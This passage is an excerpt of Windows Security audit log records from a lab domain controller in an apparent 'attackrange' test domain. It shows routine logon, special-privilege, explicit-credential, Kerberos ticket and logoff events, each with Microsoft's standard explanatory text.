ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253875 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x63EA5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253874 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A5C71DD5-B489-0540-943D-E9B9360F39B5} - -Target Server: - Target Server Name: win-dc-725$ - Additional Information: win-dc-725$ - -Process Information: - Process ID: 0x1168 - Process Name: C:\Windows\System32\taskhostw.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253873 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A5C71DD5-B489-0540-943D-E9B9360F39B5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253872 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: WIN-DC-725$ - Supplied Realm Name: ATTACKRANGE.LOCAL - User ID: ATTACKRANGE\WIN-DC-725$ - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253871 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x63E00 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 49718 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253870 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x63E00 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253869 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x63B8D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253868 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x63CA0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253867 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x63CA0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253866 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x63CA0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253865 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A5C71DD5-B489-0540-943D-E9B9360F39B5} - -Target Server: - Target Server Name: win-dc-725$ - Additional Information: win-dc-725$ - -Process Information: - Process ID: 0x1168 - Process Name: C:\Windows\System32\taskhostw.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253864 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A5C71DD5-B489-0540-943D-E9B9360F39B5} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253863 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: WIN-DC-725$ - Supplied Realm Name: ATTACKRANGE.LOCAL - User ID: ATTACKRANGE\WIN-DC-725$ - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253862 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x63B8D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 49717 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253861 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x63B8D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253860 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x623C3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253859 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x623C3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49716 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253858 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x623C3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253857 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x622F0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253856 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x622F0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 49715 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253855 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x622F0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253854 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x6201C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253853 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x6201C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253852 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253851 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3D6A7E32-1CD1-F954-3946-705F91FAB270} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253850 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:52:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253849 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x61DDE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49714 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - 